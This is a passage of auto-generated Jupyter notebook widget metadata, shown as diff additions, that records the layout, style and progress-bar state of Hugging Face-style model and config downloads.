null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "173d24393b854ad0a03fd02d56c7d037": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_a33e6193984b46d4bb9b4187d726009e", + "IPY_MODEL_230461cc201f4535a9f9bcf7a3ae7669", + "IPY_MODEL_4900e42f3bfa4a6096b16d47d38687dc" + ], + "layout": "IPY_MODEL_2112261a320b4b9297aa3edc85fa2316" + } + }, + "173d85b54dd4419883fc83cfa2beacc5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "182d76403d844b96bd20c3a7c49b4357": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "183551cc7517479db8e0fffe634f2e6c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_90398133563a48288ebf11cf0e0e242d", + "IPY_MODEL_b6c5549bd95644ad9e553c2e59199f04", + "IPY_MODEL_48ec35653f99446db9cefabe146bb2d8" + ], + "layout": "IPY_MODEL_84e8bc8164b948d8897a8637c226ef1c" + } + }, + "18a72653fc284d29be02e4d2a477ecdd": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "193fa11998404439b90913f5f5b4619e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8b7c3bcf27644ac09871f733662c4d8b", + "placeholder": "​", + "style": "IPY_MODEL_42cabc32ffc34ddd924fde45571ada38", + "value": "Downloading (…)lve/main/config.json: 100%" + } + }, + "194f16cb7fbb42a78d9237e4e6654b58": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "198e8a1603fc40218d805d46da1cc603": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_54746d0ef2e7453faddcc3b6066def51", + "placeholder": "​", + "style": "IPY_MODEL_ff535db7c20f4719820b0b483a3a41ff", + "value": " 328M/328M [00:01<00:00, 248MB/s]" + } + }, + "199a4465ee984eff971c999393c4e497": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1bf842268bf64cadbf2bda6da0d4a690": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1c65960b291c4d92bced5bca619e8256": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1ce482eed7dd4a62b5c97b7fae38f392": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f02818f8f3d54f72961c51e8fe526dc2", + "placeholder": "​", + "style": "IPY_MODEL_8d2da5062f414a7f8c98facdd7d2bad0", + "value": "100%" + } + }, + "1cf1b7e84b744edf907f94aa3d1983bc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1d4352761751419282c93eb85c0954c0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_b84453116ba14690b8ae8a8e723f8510", + "IPY_MODEL_6e14135b00e447c18a0a693d47f5c92b", + "IPY_MODEL_9a540d6ed00a424da320fd7a12c31ac5" + ], + "layout": "IPY_MODEL_13f07d79c96146aaa1d7731526aaec29" + } + }, + "1daa130f38a84c6d9a4149536b21927e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "20285260958f4620b906e7a21f44c555": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7e03365b6d25414eb845c51aa30e3d2c", + "placeholder": "​", + "style": "IPY_MODEL_199a4465ee984eff971c999393c4e497", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "206b5b9596ff43b68126735ad6b31929": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e503940faf1e47bb911a62c6e5f33fa0", + "placeholder": "​", + "style": "IPY_MODEL_03800bb9bc894d2592b3d01036769944", + "value": " 617/617 [00:00<00:00, 4.55kB/s]" + } + }, + "20f315f7aae840d19ee8a068c68ff63c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_56cc25e58ea3445f9135817143224d2c", + "placeholder": "​", + "style": "IPY_MODEL_6c6f19d716d2410b813e32f3b051619a", + "value": " 372/372 [00:00<00:00, 20.7kB/s]" + } + }, + "2112261a320b4b9297aa3edc85fa2316": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "21549aef7c6f4c64b8eb676c6dd105e2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_94cc8073f13f45b085e1f23d3d4bbbc9", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_cd502f2ef8814082979d147f08177ff6", + "value": 20 + } + }, + "22235d8e342a47059270c8732b889d68": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_65de6855b9944b829c4aa77bce39009f", + "placeholder": "​", + "style": "IPY_MODEL_44223dcee3694e168e866af5f69aaad4", + "value": " 806/806 [00:00<00:00, 7.82kB/s]" + } + }, + "229a1efdf3df4fe9aac07562774b084b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "230461cc201f4535a9f9bcf7a3ae7669": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b87077da3f824478ac88369582d77e8e", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_6f9f95e2d503403f83be05364b4199cd", + "value": 20 + } + }, + "233120cc0399483ea17284432feb16d3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "23460450a39c44e488bce836dac8b997": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0f796401fadb4649a30effd4c66e058f", + "placeholder": "​", + "style": "IPY_MODEL_33ef3f5248c14c4f8dd2d4a7bf0038a9", + "value": " 1.45G/1.45G [00:09<00:00, 116MB/s]" + } + }, + "23a9e406e89041f8ab9a15eae4f9c61b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "24030dedd2f24e2cbfa3833249d09810": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "25d01861ca0c45d3a5f57932d9754834": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "25d1091281ad407c833a36c7e421e1e2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "261aabd2415d43809b669b49f3899504": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "261e963568fc4a24af694276311c3b18": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "27d1ad377e6c45d7b4b1c49786438015": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_475c331703bb43adb142f6c9cc41a3bf", + "IPY_MODEL_10be4b9595c84f36aeab9593e63440e6", + "IPY_MODEL_645ebe129fd544a4b9383dfc1414cf0a" + ], + "layout": "IPY_MODEL_51605e182e344a94a99c50fcaaef17b1" + } + }, + "27f8dc0ef76448be90b004529fa562cf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0120420c938f4e588ac496f37bcc42eb", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_89a159fc68ef4972a0368c72306cd8c4", + "value": 20 + } + }, + "282f7b2aeec54a81b94da85c85c7cb75": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2898c9af6aea4c79a4f9e89e24275083": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "28baa1ec6f3c46309c04f2c8462b1798": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "29e96ee99a714e2c86a0d68be1a31055": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2a8c5504fb034f608567f8d706389d79": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2a8de4ddaf4747ceb0a153851cd765ca": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2aeb8135603c46c1aa80e2c3580b897f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2b5e8dcb60ee4f65af5505ffa7ea3ae2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_940a28141ae14329831b67e91ff1091a", + "placeholder": "​", + "style": "IPY_MODEL_f1f865efa3a6448ea9c930a1f08c50bf", + "value": " 342/342 [00:00<00:00, 2.00kB/s]" + } + }, + "2b92efb0492b4af6b50e2d5754212b5c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + 